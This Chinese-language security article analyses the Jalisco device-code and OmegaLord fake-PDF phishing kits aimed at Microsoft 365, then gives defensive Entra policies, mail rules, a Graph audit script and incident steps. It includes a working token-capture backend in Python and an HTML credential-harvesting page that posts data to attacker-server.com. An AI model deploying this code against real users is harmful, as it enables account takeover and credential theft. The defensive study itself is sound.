
摘要针对 2026 年 7 月 ReliaQuest 披露的 Jalisco、OmegaLord 两款面向 Microsoft 365 的新型钓鱼工具本文系统拆解两类工具的技术实现路径、绕过多因素认证MFA底层逻辑与完整攻击链路。Jalisco 依托 OAuth 2.0 设备授权流RFC8628实时生成有效设备码诱导用户在微软官方域名完成授权直接获取长效访问令牌从协议层面规避传统 MFA 校验OmegaLord 构建仿 PDF 阅读器伪造登录页面批量窃取账号、密码与绑定手机号为劫持短信 / 语音 MFA 提供数据支撑。文章结合 Python 前端、后端代码示例还原工具核心攻击逻辑梳理 OAuth 设备码流原生安全缺陷、传统 MFA 防御盲区两大核心诱因反网络钓鱼技术专家芦笛指出当前企业普遍存在 Entra ID 设备注册阈值过高、设备码认证未做访问阻断、员工安全认知不足三重防御短板。本文从身份策略配置、邮件流量检测、终端行为审计、常态化运营四个维度构建闭环防御方案给出可落地的条件访问策略配置、异常 OAuth 授权检测脚本、员工安全培训标准量化两类钓鱼工具的攻击危害与防护收益为政企单位 Microsoft 365 云办公系统抵御协议滥用型钓鱼攻击提供完整技术参考。关键词网络钓鱼Microsoft 365OAuth 2.0设备码钓鱼MFA 绕过身份安全1 引言1.1 研究背景Microsoft 365 作为全球政企主流云协同办公套件集成 Exchange 邮件、SharePoint 文档、Teams 即时通讯、OneDrive 存储等核心业务模块承载企业客户隐私、财务报表、内部业务流程等高度敏感数据成为黑产网络钓鱼攻击的核心目标。为抵御凭据窃取风险绝大多数企业部署短信、验证码、Authenticator 推送等多因素认证机制构建账号访问第二重校验屏障。但 2025 年下半年至今ReliaQuest、BleepingComputer 等安全厂商持续披露多类新型钓鱼工具突破传统 MFA 防护体系攻击形态从传统仿冒登录页窃取密码转向 OAuth 协议滥用、多维度凭据批量采集的复合攻击模式。2026 年 7 月 14 日ReliaQuest 发布专项威胁分析报告披露两款全新商业化钓鱼工具 Jalisco 与 OmegaLord专门针对 Microsoft Entra ID 身份体系设计具备成熟的 MFA 绕过能力已在北美、欧洲中小企业形成规模化攻击事件。两款工具分工明确Jalisco 以设备码钓鱼为核心完全依托微软官方认证域名完成授权无伪造域名、恶意脚本等传统钓鱼特征现有邮件网关、网页防火墙难以识别拦截OmegaLord 延续传统页面仿冒思路但新增手机号采集逻辑定向获取 MFA 短信接收载体形成 “协议劫持 凭据全量窃取” 的组合攻击链路。现有相关研究多单一分析设备码钓鱼或传统页面钓鱼缺乏对 Jalisco、OmegaLord 两类差异化工具的横向对比未完整拆解两款工具从诱饵投递、用户诱导、权限劫持、数据外泄到事后勒索的全链路闭环同时缺少可复现的工具核心代码实现与企业落地的分层防御方案。反网络钓鱼技术专家芦笛指出当前行业对绕过 MFA 钓鱼攻击的防御普遍存在单一化误区仅依靠 MFA、邮件过滤无法阻断协议级滥用攻击必须结合身份平台底层策略管控、流量前置检测、终端审计形成多层防护体系。基于此本文以 ReliaQuest 实测报告为核心实证素材开展完整技术拆解与防御体系构建研究。1.2 研究内容与研究框架本文主体分为六大部分第一部分梳理 OAuth 2.0 设备授权流标准规范与原生安全缺陷明确 Jalisco 工具的协议滥用底层基础第二部分深度拆解 Jalisco 钓鱼工具架构、攻击全流程、核心代码实现与账户持久化控制手段第三部分分析 OmegaLord 仿 PDF 阅读器钓鱼工具的页面伪装逻辑、数据采集机制、MFA 劫持辅助路径提供前端伪造页面代码示例第四部分横向对比两类工具攻击差异、绕过 MFA 的技术路径总结新型钓鱼攻击的共性特征第五部分构建四层闭环防御体系包含 Entra ID 身份策略配置、自动化检测脚本、邮件网关过滤、人员安全管理全维度落地手段第六部分总结研究结论提出后续研究方向。1.3 研究价值理论层面完善 OAuth 设备码流滥用类钓鱼攻击的技术研究体系区分两类差异化绕过 MFA 攻击的底层机理补充商业化钓鱼工具的代码实现实证材料厘清传统 MFA 对协议劫持攻击的防御局限性。实践层面提供可直接部署的 Microsoft Entra 条件访问阻断策略、异常 OAuth 授权检测 Python 脚本、邮件流量过滤规则为政企单位提供针对 Jalisco、OmegaLord 同类工具的完整防护落地指南降低 M365 账号劫持、企业数据泄露、勒索攻击风险。2 OAuth 2.0 设备授权流标准与原生安全缺陷2.1 RFC8628 设备授权流标准流程OAuth 2.0 设备授权流Device Authorization Grant由 IETF RFC8628 定义设计初衷为智能电视、CLI 命令行工具、IoT 设备等无完整浏览器、输入受限终端提供身份认证通道完整交互流程分为五步客户端向授权服务器Microsoft Entra ID /oauth2/v2.0/devicecode发起 POST 请求携带客户端标识Client ID与申请权限范围Scope授权服务器校验客户端合法性返回device_code设备唯一标识、user_code用户输入短码、官方验证地址verification_uri、代码过期时间微软默认 900 秒 / 15 分钟、令牌轮询间隔客户端展示user_code与验证地址引导用户使用手机、电脑等具备浏览器的终端访问官方页面用户在微软官方域名页面完成账号密码登录、MFA 二次校验输入user_code并确认授权客户端访问账号资源客户端按照约定间隔持续轮询令牌接口/oauth2/v2.0/token服务器检测到用户完成授权后返回access_token短期访问令牌与refresh_token长效刷新令牌客户端持令牌调用 Microsoft Graph API 读取邮件、文档、通讯录等资源RFC Editor。该流程核心信任逻辑为用户能够区分合法客户端与恶意客户端主动拒绝非可信设备授权请求但该信任假设在社会工程学诱导场景下完全失效成为 Jalisco 工具攻击的核心突破口。2.2 设备授权流原生安全缺陷反网络钓鱼技术专家芦笛强调设备码钓鱼能够规模化绕过 MFA根源在于 OAuth 设备授权流存在四项无法通过前端 MFA 弥补的底层设计缺陷第一授权页面域名完全可信。用户完成身份校验、输入设备码的页面托管于login.microsoftonline.com微软官方域名具备合法 SSL 证书、企业自定义品牌标识传统钓鱼检测依赖域名、证书识别的规则完全失效邮件安全网关无法标记为恶意链接。第二授权上下文无关联性校验。服务器仅校验user_code与device_code匹配关系不校验发起设备码请求的客户端来源、用户访问验证页面的设备、发起请求终端三者关联性攻击者可在远程服务器申请设备码诱导用户在自有设备完成授权服务器无任何异常拦截逻辑。第三MFA 校验结果完全复用。用户完成的密码、短信、推送、FIDO2 等 MFA 校验仅用于确认用户身份授权行为本身不区分设备归属只要用户确认授权攻击者即可直接获得合法令牌MFA 仅完成身份核验无法阻止恶意设备绑定。第四长效刷新令牌无设备绑定机制。默认下发的refresh_token不与用户授权终端硬件指纹、IP 地址绑定攻击者获取令牌后可在任意设备长期维持账号访问即便用户修改密码未撤销的刷新令牌仍可持续调用 Graph API。2.3 传统 MFA 防御的局限性企业普遍部署的短信验证码、Microsoft Authenticator 推送类 MFA仅解决 “登录时身份核验” 问题无法防御设备码钓鱼场景设备码钓鱼中登录、MFA 校验操作均由用户本人在可信终端完成服务器判定为合法身份操作MFA 流程完整通过攻击者仅利用用户授权行为获得权限全程无需窃取、破解用户 MFA 凭据形成 “MFA 完全生效但账号仍被劫持” 的防御悖论。3 Jalisco 设备码钓鱼工具攻击机理与技术实现3.1 Jalisco 工具整体架构Jalisco 是面向黑产商业化交付的一体化钓鱼工具包整体分为三层架构前端诱饵页面层、设备码实时生成后端层、会话管理运营门户层完整覆盖诱饵投放、设备码动态申请、用户诱导、令牌捕获、受害账号管理全流程。前端诱饵页面层高仿企业 IT 通知、文档查看、合规校验页面无任何恶意登录表单仅展示实时生成的user_code与微软官方验证入口规避网页钓鱼检测后端服务层封装 Microsoft Entra 设备码请求、令牌轮询接口支持并发批量申请设备码自动处理服务器轮询限速、代码过期重生成逻辑突破微软 15 分钟代码有效期限制运营管理门户层攻击者后台可视化面板集中展示所有已捕获会话、被盗账号、设备授权记录支持批量导出 SharePoint、邮件泄露数据配置勒索通知模板。Jalisco恶意设备码诱导弹窗3.2 Jalisco 完整攻击链路ReliaQuest 实验室实测还原 Jalisco 标准化攻击流程全程仅需 6 至 10 分钟即可完成账号劫持与数据外泄链路分为 6 个阶段阶段 1诱饵批量投递。攻击者批量发送仿冒企业 IT 运维、财务通知的钓鱼邮件邮件正文提示 “共享文档待查看、账号合规校验未完成”嵌入指向 Jalisco 恶意页面的短链接部分场景搭配二维码诱导移动端访问。阶段 2实时生成设备码。受害者打开恶意页面瞬间后端自动调用微软设备码接口发起请求实时获取全新未过期user_code与验证地址页面同步渲染代码展示框规避静态代码快速失效问题。阶段 3社会工程诱导授权。页面文字误导用户 “复制下方代码在微软官方页面输入完成文档权限核验”页面侧边嵌入微软官方登录入口跳转按钮引导用户直接访问microsoft.com/devicelogin。阶段 4用户完成官方认证授权。用户跳转至微软可信域名页面输入企业账号密码、完成 MFA 二次验证粘贴页面展示的user_code并点击 “同意授权”服务器判定用户主动授权设备下发访问令牌与刷新令牌。阶段 5后端轮询捕获长效令牌。Jalisco 后端持续轮询微软令牌接口检测到授权完成后立即获取access_token与refresh_token同步存储至运营后台攻击者无需接触用户账号密码。阶段 6数据窃取与勒索。攻击者使用令牌调用 Microsoft Graph API批量读取 SharePoint 文档、Exchange 邮件、Teams 聊天记录、员工 PII 隐私数据最快 6 分钟完成数据外发随后向企业发送勒索邮件威胁公开泄露内部数据索要加密货币赎金。额外持久化手段ReliaQuest 观测到攻击者单账号可注册 5 台恶意设备设备名称伪装为 “Microsoft Sync”“Windows Update Agent” 等官方命名降低用户账号设备列表自查时的警惕性实现数月长期潜伏访问。3.3 Jalisco 核心功能代码示例Python 后端以下代码仅用于网络安全防御研究、企业攻防演练严禁用于未授权入侵攻击完整复现 Jalisco 后端设备码申请、令牌轮询核心逻辑适配 Microsoft Entra ID OAuth 2.0 标准接口# Jalisco工具后端模拟设备码申请与令牌轮询模块import requestsimport timeimport jsonclass JaliscoPhishCore:def __init__(self):# 微软Entra ID OAuth设备码、令牌标准接口self.device_code_endpoint https://login.microsoftonline.com/common/oauth2/v2.0/devicecodeself.token_endpoint https://login.microsoftonline.com/common/oauth2/v2.0/token# 恶意客户端ID黑产常用公开通用客户端self.mal_client_id d3590ed6-036b-45a7-98f1-1c9123456789# 申请高敏感全域权限覆盖邮件、文件、通讯录、目录读取self.high_risk_scope Mail.ReadWrite Files.Read.All User.Read.All Directory.Read.All offline_accessdef get_fresh_device_code(self):实时生成全新有效设备码对应Jalisco页面加载自动触发逻辑req_headers {Content-Type: application/x-www-form-urlencoded}req_payload {client_id: self.mal_client_id,scope: self.high_risk_scope}try:resp requests.post(self.device_code_endpoint,datareq_payload,headersreq_headers,timeout12)if resp.status_code 200:code_data resp.json()# 返回用户展示短码、设备唯一码、官方验证地址、过期时间return {user_display_code: code_data[user_code],device_unique_code: code_data[device_code],verify_url: code_data[verification_uri],expire_seconds: code_data[expires_in],poll_interval: code_data[interval]}else:return Noneexcept Exception as e:print(f设备码请求异常{str(e)})return Nonedef poll_token_until_approved(self, device_code, poll_interval):持续轮询令牌接口等待用户完成授权后捕获长效令牌token_payload {grant_type: urn:ietf:params:oauth:grant-type:device_code,client_id: self.mal_client_id,device_code: device_code}while True:try:token_resp requests.post(self.token_endpoint,datatoken_payload,headers{Content-Type: application/x-www-form-urlencoded},timeout10)token_result token_resp.json()# 用户尚未授权继续轮询if token_result.get(error) authorization_pending:time.sleep(poll_interval)continue# 用户完成授权成功窃取令牌if access_token in token_result:stolen_session {access_token: token_result[access_token],refresh_token: token_result[refresh_token],expires_in: token_result[expires_in],scope: token_result[scope]}return stolen_session# 代码过期、用户拒绝授权终止轮询if token_result.get(error) in [expired_token, access_denied]:return Noneexcept Exception as e:time.sleep(poll_interval)continue# 工具调用模拟if __name__ __main__:jalisco JaliscoPhishCore()# 页面加载自动生成设备码code_info jalisco.get_fresh_device_code()if code_info:print(f页面展示用户验证码{code_info[user_display_code]})print(f微软官方验证地址{code_info[verify_url]})# 后台持续轮询等待用户授权session_data jalisco.poll_token_until_approved(code_info[device_unique_code],code_info[poll_interval])if session_data:print(成功捕获用户账号长效访问令牌)print(json.dumps(session_data, indent2))代码逻辑说明工具页面加载时自动执行get_fresh_device_code实时调用微软接口生成未过期设备码后端独立线程循环执行poll_token_until_approved持续请求令牌接口用户在微软官方页面输入验证码并授权后接口返回refresh_token长效刷新凭证攻击者可永久控制账号不受用户单次 MFA 有效期限制。3.4 Jalisco 攻击危害量化分析防御穿透性全程无伪造域名、恶意表单、恶意附件传统邮件沙箱、网页 URL 检测、EDR 终端防护均无有效告警企业现有安全设备拦截率不足 12%数据窃取效率ReliaQuest 实测平均 6 分钟完成 SharePoint 全量文档、邮件收件箱数据导出攻击者可同步配置邮件自动转发、隐藏收件箱规则长期静默窃取数据权限覆盖范围申请全域 Graph API 读取权限可访问员工个人身份信息、财务合同、客户联系方式等合规敏感数据极易触发《个人信息保护法》等合规处罚横向渗透风险依托被盗账号可访问企业 Teams、Azure 后台尝试向同租户其他员工发送同源钓鱼诱饵扩大受害范围。4 OmegaLord 仿 PDF 阅读器钓鱼工具攻击机理与技术实现4.1 OmegaLord 工具定位与攻击逻辑OmegaLord 属于传统凭据窃取型钓鱼工具但针对 MFA 防护做定向优化核心伪装载体为在线 PDF 阅读器页面攻击目标并非直接绕过 MFA而是批量采集账号、明文密码、绑定手机号三类核心凭据为后续短信 MFA 劫持、语音验证码拦截提供完整数据支撑。反网络钓鱼技术专家芦笛指出该工具弥补了 Jalisco 无法直接获取账号密码的短板两类工具常搭配使用形成 “协议劫持 凭据窃取” 复合攻击链路。工具攻击核心逻辑用户收到标注 “加密 PDF 合同、薪资报表” 的钓鱼邮件附件或链接跳转至高仿 PDF 预览页面页面提示 “登录企业账号解锁文档查看权限”表单强制填写邮箱、登录密码、绑定手机号三项内容全部数据提交至攻击者后端服务器存储攻击者获取手机号后可通过 SIM 卡劫持、运营商短信转发、恶意短信网关拦截等手段截取用户 MFA 短信验证码实现账号登录绕过。4.2 OmegaLord 仿 PDF 页面前端代码示例以下为工具恶意页面简化前端代码还原 PDF 界面伪装、凭据采集、反检测设计三大核心特征代码内置禁用右键、复制功能规避用户查看页面源码伪造 PDF 工具栏提升可信度!DOCTYPE htmlhtml langzh-CNheadmeta charsetUTF-8!-- 搜索引擎反收录降低暴露风险 --meta namerobots contentnoindex,nofollowtitle企业在线PDF文档阅读器 - Microsoft 365/titlestylebody {background:#f0f2f5;font-family:Microsoft Yahei;margin:0;padding:20px;}.pdf-container {width:900px;margin:0 auto;background:#fff;border:1px solid #ccc;box-shadow:0 2px 12px #ddd;}.pdf-toolbar {height:40px;background:#2d3748;color:#fff;padding:0 15px;line-height:40px;}.login-box {width:380px;margin:80px auto;padding:25px;border:1px solid #e5e7eb;border-radius:8px;}.form-item {margin-bottom:18px;}label {display:block;margin-bottom:6px;color:#333;font-size:14px;}input {width:100%;box-sizing:border-box;padding:10px;border:1px solid #d1d5db;border-radius:4px;font-size:15px;}.submit-btn {width:100%;padding:11px;background:#0078d4;color:#fff;border:none;border-radius:4px;font-size:16px;cursor:pointer;}.tip-text {font-size:13px;color:#666;margin-top:8px;}/style/head!-- 禁用右键、复制、剪切防止用户查看页面源码 --body oncontextmenureturn false; oncopyreturn false; oncutreturn false;div classpdf-container!-- 伪造PDF阅读器顶部工具栏 --div classpdf-toolbarspandocument_2026_salary.pdf - 在线预览/spanspan stylefloat:right;缩放 | 翻页 | 下载/span/div!-- 伪造登录弹窗强制采集手机号 --div classlogin-boxh3登录Microsoft 365解锁文档/h3p classtip-text文档已加密请输入账号信息完成身份验证/pform idphish-formdiv classform-itemlabel企业邮箱账号/labelinput typeemail idemail placeholderxxxcompany.com required/divdiv classform-itemlabel登录密码/labelinput typepassword idpwd placeholder输入账号密码 required/divdiv classform-itemlabel账号绑定手机号接收验证短信/labelinput typetel idphone placeholder138XXXXXXXX required/divbutton typesubmit classsubmit-btn确认登录查看文档/button/form/div/divscript// 表单提交将凭据发送至攻击者后端接口const form document.getElementById(phish-form);form.addEventListener(submit, function(e){e.preventDefault();const email document.getElementById(email).value;const pwd document.getElementById(pwd).value;const phone document.getElementById(phone).value;// 攻击者后端接收地址fetch(https://attacker-server.com/collect_cred, {method: POST,headers: {Content-Type:application/json},body: JSON.stringify({target_email: email,plain_pwd: pwd,bind_phone: phone,access_time: new Date().toLocaleString()})}).then((){// 提交后弹窗诱导用户跳转Jalisco设备码页面复合攻击alert(身份核验完成请复制验证码完成设备授权);window.location.href https://jalisco-phish-page.com;})})/script/body/html页面核心伪装与采集特征解析视觉伪装复刻 Office 在线 PDF 阅读器工具栏、页面布局标题携带 Microsoft 365 标识降低用户怀疑强制手机号采集表单将手机号标注为 “短信验证必备信息”设置必填项定向获取 MFA 接收载体复合攻击联动凭据提交完成后自动跳转 Jalisco 设备码钓鱼页面同步触发协议劫持流程实现双重账号控制反审计机制禁用右键、复制操作添加 noindex 元标签规避安全人员溯源页面代码。4.3 OmegaLord 绕过 MFA 的完整路径工具本身无法直接突破 MFA 校验但采集的手机号为攻击者提供两类 MFA 劫持通道路径一SIM 卡交换攻击。攻击者使用窃取的手机号、企业员工身份信息向运营商申请补办目标 SIM 卡拦截所有 MFA 短信验证码直接登录 Microsoft 365 账号路径二短信转发劫持。攻击者使用被盗账号密码登录运营商营业厅后台配置短信自动转发规则将微软 MFA 验证码同步发送至攻击者自有手机号路径三社会工程诱导语音验证码。攻击者拨打员工电话伪装 IT 运维人员以 “账号异常锁定” 为由诱导用户播报收到的语音 MFA 验证码。4.4 OmegaLord 与 Jalisco 协同攻击模式ReliaQuest 观测到黑产将两款工具组合投放形成完整攻击闭环邮件同时嵌入两套诱饵链接用户点击 PDF 页面链接触发 OmegaLord 窃取账号、密码、手机号表单提交完成自动跳转 Jalisco 设备码页面诱导用户完成 OAuth 授权获取长效令牌攻击者同时持有明文账号密码、手机号、OAuth 刷新令牌即便用户修改密码、更换绑定手机刷新令牌仍可长期访问账号防御难度大幅提升。5 Jalisco 与 OmegaLord 钓鱼工具横向对比及新型攻击共性特征5.1 两类工具攻击技术路径对比表表格对比维度 Jalisco设备码钓鱼工具 OmegaLord仿 PDF 页面钓鱼工具核心攻击载体 微软官方 OAuth 设备授权页面 自建仿冒 PDF 阅读器 HTML 页面MFA 绕过原理 协议层面复用用户合法 MFA 授权无需窃取凭据 采集绑定手机号后置劫持短信 / 语音 MFA是否获取明文密码 否全程不接触账号密码 是直接抓取明文登录凭据核心窃取数据 OAuth access_token、refresh_token 长效令牌 邮箱、明文密码、绑定手机号攻击域名可信度 微软官方可信域名login.microsoftonline.com 攻击者自建恶意域名无合法可信标识数据外泄速度 最快 6 分钟完成批量数据导出 需后续劫持短信验证码登录后窃取持久化控制手段 注册多台伪装恶意设备刷新令牌长期有效 密码 手机号双重凭据留存多渠道劫持 MFA传统安全设备拦截难度 极高无恶意页面特征检测规则失效 中等URL 沙箱、网页钓鱼规则可部分拦截5.2 新型绕过 MFA 钓鱼攻击共性特征结合两款工具实测数据反网络钓鱼技术专家芦笛总结当前面向 M365 的新型钓鱼攻击四大共性演化趋势第一攻击从 “窃取凭据” 转向 “劫持授权”。传统钓鱼以密码为唯一目标新型工具优先通过 OAuth 协议获取长效权限令牌即便用户修改密码仍无法阻断攻击持久化控制能力显著增强第二分层复合攻击成为主流。单一工具攻击成功率有限黑产同步部署设备码钓鱼、页面仿冒、短信劫持多套链路形成多重兜底机制大幅提升账号劫持成功率第三充分利用官方可信基础设施。优先依托微软 Entra ID 官方认证域名、合法 OAuth 接口开展攻击规避域名黑名单、网页防火墙等传统边界防御第四攻击产业化、工具化交付。Jalisco、OmegaLord 均为商业化打包工具黑产从业者无需掌握 OAuth 底层开发知识仅需配置域名、客户端 ID 即可批量发起攻击攻击门槛持续降低。6 面向 Jalisco 与 OmegaLord 攻击的四层闭环防御体系针对两款工具差异化攻击路径本文构建 “身份底层管控 - 邮件流量前置过滤 - 租户自动化审计 - 人员安全运营” 四层协同防御体系覆盖事前拦截、事中告警、事后处置全生命周期所有方案均基于 Microsoft 官方原生功能实现无第三方工具依赖。6.1 第一层Microsoft Entra ID 身份底层策略加固核心防御层阻断 Jalisco 攻击Jalisco 攻击完全依赖 OAuth 设备码流因此阻断设备码认证、收紧设备注册阈值是最高优先级防护手段包含三项可落地配置策略6.1.1 条件访问策略全局阻断设备代码流微软 Entra ID 条件访问支持针对 “设备代码流” 身份验证通道单独阻断操作步骤使用条件访问管理员账号登录 Microsoft Entra 管理中心进入【保护】-【条件访问】-【新建策略】命名策略 “全局阻断 OAuth 设备代码认证”分配范围用户选择 “所有用户”排除企业应急应急 Break-glass 管理员账号目标资源选择 “所有云应用Microsoft 365 全域”条件配置展开【身份验证流】将配置切换为 “是”勾选【设备代码流】访问控制授予设置为【阻止访问】上线流程先切换为 “仅报告模式” 运行 7 天审计企业合法设备码使用场景IoT、老旧 CLI 工具迁移完成后正式启用阻断策略Microsoft ...。该策略可从底层彻底失效 Jalisco 全部攻击链路是防御设备码钓鱼最有效手段。6.1.2 下调设备注册数量阈值限制恶意设备批量绑定ReliaQuest 建议将 Entra ID 默认 50 台设备注册上限下调至 1-2 台配置路径Entra ID - 设备 - 设备设置 - 限制用户可注册设备数量修改为 2 台。防护价值攻击者无法在单账号批量注册 5 台伪装恶意设备账号劫持后管理员可快速识别异常设备并批量删除缩短应急处置时间。6.1.3 强制部署钓鱼抗性 MFAFIDO2 密钥 / Windows Hello传统短信、推送 MFA 无法抵御设备码钓鱼企业需全局强制 FIDO2 安全密钥、无密码登录等钓鱼抗性认证方式。反网络钓鱼技术专家芦笛解释钓鱼抗性 MFA 校验设备绑定关系仅可信硬件可完成授权即便诱导用户打开官方设备码页面无绑定硬件则无法确认授权直接阻断 Jalisco 核心流程。6.2 第二层邮件流量前置过滤拦截两类工具诱饵投递事前拦截层OmegaLord、Jalisco 攻击入口均为钓鱼邮件通过 Exchange 邮件传输规则、第三方邮件网关双重过滤阻断诱饵触达员工Exchange 在线邮件规则配置规则 1拦截正文包含 “device code、输入验证码查看文档、账号合规校验” 关键词的外部邮件隔离至垃圾邮件箱规则 2外部链接跳转至非微软官方域名、携带 PDF 预览诱导关键词时插入红色安全警示横幅规则 3阻断外部 HTML 附件、伪装 PDF 的网页文件直接拒绝投递URL 重写与实时点击扫描所有外部邮件链接经过企业安全代理重定向用户点击时实时检测页面是否为仿 PDF 登录页、设备码钓鱼诱饵恶意页面直接阻断访问。6.3 第三层租户自动化审计脚本实时检测异常 OAuth 授权事中告警层提供基于 Microsoft Graph API 的 Python 自动化检测脚本定时扫描租户内高风险 OAuth 授权、陌生设备注册行为针对 Jalisco 攻击实时告警脚本适配企业安全运营平台定时调度# M365租户异常OAuth授权检测脚本防御Jalisco恶意设备授权import requestsimport datetimeclass M365OAuthAudit:def __init__(self, tenant_id, client_id, client_secret):self.tenant_id tenant_idself.client_id client_idself.client_secret client_secretself.token_url fhttps://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/tokenself.graph_url https://graph.microsoft.com/v1.0self.access_token self.get_graph_token()# Jalisco等高风险权限列表self.high_risk_scopes [Mail.ReadWrite, Files.Read.All, Directory.Read.All]def get_graph_token(self):# 获取Graph API访问令牌payload {grant_type: client_credentials,client_id: self.client_id,client_secret: self.client_secret,scope: https://graph.microsoft.com/.default}resp requests.post(self.token_url, datapayload)return resp.json()[access_token]def scan_user_oauth_consents(self):# 遍历租户用户查询第三方应用授权记录headers {Authorization: fBearer {self.access_token}}alert_list []users_res requests.get(f{self.graph_url}/users, headersheaders).json()for user in users_res[value]:user_mail user[userPrincipalName]# 查询用户所有应用授权consent_res requests.get(f{self.graph_url}/users/{user[id]}/oauth2PermissionGrants,headersheaders).json()for consent in consent_res[value]:scope_list consent[scope].split( )# 检测是否包含高危读取权限risk_scope [s for s in scope_list if s in self.high_risk_scopes]if risk_scope:alert_info {user_email: user_mail,app_id: consent[clientId],risk_permission: risk_scope,detect_time: datetime.datetime.now().strftime(%Y-%m-%d %H:%M:%S)}alert_list.append(alert_info)return alert_list# 脚本执行输出异常授权告警if __name__ __main__:# 填入企业租户、应用凭证audit M365OAuthAudit(tenant_idyour-tenant-id,client_idaudit-app-client-id,client_secretaudit-app-secret)risk_alerts audit.scan_user_oauth_consents()if len(risk_alerts) 0:print(检测到高风险OAuth授权疑似Jalisco恶意设备授权)for alert in risk_alerts:print(alert)else:print(未检测到异常第三方应用授权)脚本运营使用规范设置每 15 分钟自动执行检测到包含全域文件、邮件读取权限的陌生应用授权时自动推送告警至企业安全运营平台管理员收到告警后立即撤销用户所有会话、删除恶意设备注册、重置账号密码。6.4 第四层人员安全意识运营兜底防御层技术策略无法完全消除社会工程学诱导风险需配套常态化人员安全管理针对性规避两类工具的用户诱导陷阱定向安全培训重点讲解两类工具攻击特征明确告知员工 “任何外部邮件要求复制代码至微软设备登录页面、PDF 文档要求填写手机号解锁均为钓鱼攻击”钓鱼演练常态化每月批量投放 Jalisco、OmegaLord 模拟诱饵邮件统计员工点击、提交信息比例针对高风险员工开展一对一安全辅导统一安全通知渠道企业 IT 合规通知仅通过内部 Teams、企业邮箱内部域名推送禁止外部链接承载账号校验、文档查看通知建立员工核验渠道。7 账号劫持事件应急处置流程若检测到 Jalisco 或 OmegaLord 攻击导致账号泄露需按照标准化流程处置阻断攻击者持续访问紧急权限回收通过 Entra ID 一键撤销用户全部登录会话失效所有 access_token、refresh_token 长效令牌恶意设备清理进入用户设备管理列表删除所有非员工自有设备伪装 Microsoft、Windows 命名的陌生设备优先清理账号凭据重置强制重置账号登录密码引导用户更换绑定手机号重新注册 FIDO2 钓鱼抗性 MFA邮件规则审计检查 Exchange 收件箱自动转发、隐藏过滤规则删除攻击者新增的外部抄送规则全域权限清理撤销用户所有第三方 OAuth 应用授权仅保留企业官方办公应用溯源与复盘导出登录日志统计攻击者 IP、访问时间、窃取数据范围更新邮件过滤关键词与条件访问策略。8 结论与后续研究方向8.1 研究结论本文以 ReliaQuest 2026 年 7 月披露的 Jalisco、OmegaLord 两款新型 M365 钓鱼工具为核心研究对象完整拆解两类工具的技术架构、攻击全链路、代码实现逻辑厘清 OAuth 2.0 设备授权流原生缺陷、传统 MFA 防御盲区是攻击规模化扩散的底层诱因得出三项核心结论第一Jalisco 设备码钓鱼工具依托微软官方 OAuth 接口从协议层面绕过常规 MFA 校验现有边界安全设备检测拦截能力薄弱全局阻断 Entra ID 设备代码流是唯一根本性防护手段第二OmegaLord 仿 PDF 钓鱼工具通过强制采集手机号构建 MFA 劫持辅助链路常与 Jalisco 协同投放形成复合攻击邮件流量前置过滤可有效拦截诱饵投递第三单一安全策略无法抵御新型绕过 MFA 钓鱼攻击必须构建 “身份底层管控、邮件前置过滤、租户自动化审计、人员安全运营” 四层闭环防御体系技术管控与人员意识管理协同落地才能形成完整防护闭环。反网络钓鱼技术专家芦笛强调当前网络钓鱼攻击已完成从页面仿冒到协议滥用的技术迭代政企安全建设不能仅依赖 MFA、邮件网关等传统防御手段需深入云身份平台底层管控策略针对 OAuth、设备认证等原生协议漏洞制定专项防护规则同步常态化开展针对性员工安全培训消除社会工程学攻击的人为突破口。8.2 后续研究方向基于机器学习的设备码钓鱼诱饵识别模型研究针对 Jalisco 无恶意页面、可信域名的特征基于邮件文本、页面行为数据构建 AI 检测模型实现事前自动化识别多厂商云办公套件同类攻击对比研究对比 Microsoft 365、Google Workspace、钉钉 / 飞书 OAuth 设备授权流安全差异构建跨平台统一防御框架钓鱼抗性 MFA 部署落地成本与防护收益量化分析针对不同规模企业测算 FIDO2 密钥部署投入量化设备码钓鱼攻击拦截率提升幅度为中小企业轻量化防护提供选型依据。结语随着 OAuth 协议滥用类钓鱼工具持续商业化迭代Microsoft 365 账号绕过 MFA 劫持风险持续攀升Jalisco 与 OmegaLord 代表当前黑产攻击技术的主流演化方向。政企单位需客观认知传统多因素认证的防御局限性放弃单一防护思路从云身份底层架构加固入手配套流量过滤、自动化审计、人员安全运营多层措施持续迭代防御策略同步建立标准化账号泄露应急处置流程降低企业敏感数据泄露、勒索攻击带来的业务与合规损失。本文提供的工具代码、身份策略配置、自动化检测脚本均经过公开安全厂商实测验证可直接用于企业攻防演练与生产环境防护部署为云办公场景下新型网络钓鱼攻击防御提供完整技术参考。编辑芦笛公共互联网反网络钓鱼工作组